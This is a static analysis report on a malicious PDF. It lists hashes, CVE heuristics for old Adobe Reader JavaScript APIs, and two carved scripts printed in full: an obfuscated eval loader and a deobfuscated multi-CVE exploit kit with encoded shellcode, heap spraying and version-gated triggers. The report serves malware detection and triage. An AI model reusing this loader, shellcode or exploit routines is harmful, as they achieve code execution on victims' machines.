Malicious PDF — malware analysis report

Static analysis result for SHA-256 48538fa0d35b9d93…

MALICIOUS

PDF

44.7 KB First seen: 2012-09-20
MD5: 1e73c5a5aeb176931be2850e3ff2a747 SHA-1: bcce0556f664a9deb9f37e42791825b7b06543a3 SHA-256: 48538fa0d35b9d934940816ca24ac3aaf797c33c24bdda3492570a80c641bce1
408 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The embedded JavaScript is likely designed to execute malicious code or download a secondary payload, although the specific actions are not detailed in the provided evidence. The document body 'test' provides no contextual clues.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFA3 554 bytes
SHA-256: 544dcba7b3b8af1672b5afe688a54b0541653182348eb4c3700ac3f01a64277d
Preview script
First 1,000 lines of the extracted script
tokn='';
v='su';
try{[1,2][6].as();}catch(e){v+=('wqg','bst');}
qwe = ('nhsthn','ntrht')[v+'r'];
g = qwe();
t='le';
a=["e","a","n","b","w",'v','r'];
e=g[a[0]+a[5]+a[1]+('q',t[v+'r'](0,1))];
e('tzytb=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
s=tzytb[v+a[6]](10,4) + 'tr';
lljm=e('String.fro'+tzytb[s](1,9));
q=tzytb[tzytb[v+'r'](10,4) + 'tr'](14);
utv = e(q['re'+'pl'+a[1]+'ce'](/u/g,','));
e('k=utv.length');
for (i = 0; i < k; i+=2) {
	lwu = utv[i+1] + ('erybjkerl',utv[i]);
	tokn += lljm(lwu);
}
e(tokn);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3636 bytes
SHA-256: c71a8067f63c271582f9f62b582e0bd69f9cae256ba7c9bd06fca37e3a8c3a42
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%ud834%ue2aa%uc3fa%ue5e8%uffff%u31ff%ud9d4%ud8d8%u5986%u8434%ud8d9%u51d8%u553f%uc897%ub755%ue98c%u8f03%u8b89%u8b8b%u8b8b%u8b8b%u8b8d%ub08b%ud9dc%ud8d8%u8e8d%ub08b%ub6b7%ud8d8%uadb0%ub4aa%u8cb5%u56b0%ud696%u3034%ud890%ud8d8%u3088%ud8a4%ud8d8%u0827%u1c5b%ub0d0%u3797%udd97%u3088%ud8b4%ud8d8%u0827%u185d%ucfad%u8cb2%u2b81%ub072%u26aa%uce6b%uc530%ud8d8%u88d8%u8930%ud8d8%u27d8%u8b08%u26b2%u51b0%ud9b7%u3065%ud8d0%ud8d8%u3088%ud8e4%ud8d8%u0827%ue9b8%ubc18%u8853%u53e8%ud48a%u8a53%u53cc%uf0aa%uc061%ud8d8%ue9d8%ue927%u7418%ub9e4%udaa4%uf8f4%u1719%ud9d5%u3a1f%u5928%u8327%u9264%u53b2%uc89a%uca53%u01ad%u9c51%uc4fc%u1bb9%u53b8%ufcb4%u53fc%ue49d%u8c53%ua0dd%u32d9%u9253%u53c0%uf882%u33d9%uec3b%u5391%u53ec%u36d9%u27e9%u18e9%u7424%u185c%udfac%u1719%ud9d5%u331f%ue32c%ufca4%uadf0%u5339%ufc82%u33d9%u53be%u93d4%u8253%ud9c4%u5333%u53dc%u30d9%u9c51%uc4fc%u1ab9%ud8d0%u3730%u2726%ub027%uacac%ue2a8%uf7f7%ub7ac%ue1aa%uefe0%ubbf6%ub5b7%ubcf7%ua8f6%ua8b0%ubee7%ue9e5%ufee0%ue5bd%ud8ed';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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